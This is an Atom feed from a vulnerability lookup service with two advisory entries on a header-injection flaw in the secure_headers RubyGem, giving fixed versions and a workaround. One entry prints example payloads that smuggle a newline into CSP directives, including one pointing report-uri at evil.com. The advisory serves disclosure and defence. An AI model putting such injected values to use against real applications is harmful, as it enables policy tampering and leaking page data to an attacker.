<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-06T08:50:47.862953+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2020-5216</id>
    <title>CVE-2020-5216 — Limited header injection when using dynamic overrides with user input in RubyGems secure_headers</title>
    <updated>2026-10-06T08:50:47.968640+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Twitter secure_headers</p>
<p>In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2020-5216"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-w978-rmpf-qmwg</id>
    <title>GHSA-w978-rmpf-qmwg — Limited header injection when using dynamic overrides with user input in RubyGems secure_headers</title>
    <updated>2026-10-06T08:50:47.968705+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> RubyGems: secure_headers</p>
<p>### Impact</p>
<p>If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.</p>
<p>Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.</p>
<p>e.g.</p>
<p>```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 
```</p>
<p>would result in</p>
<p>```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```</p>
<p>CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:</p>
<p>```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```</p>
<p>### Patches</p>
<p>This has been fixed in 6.3.0, 5.2.0, and 3.9.0</p>
<p>### Workarounds</p>
<p>```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```</p>
<p>### References</p>
<p>https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)</p>
<p>### For more information</p>
<p>If you have any questions or…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-w978-rmpf-qmwg"/>
  </entry>
</feed>
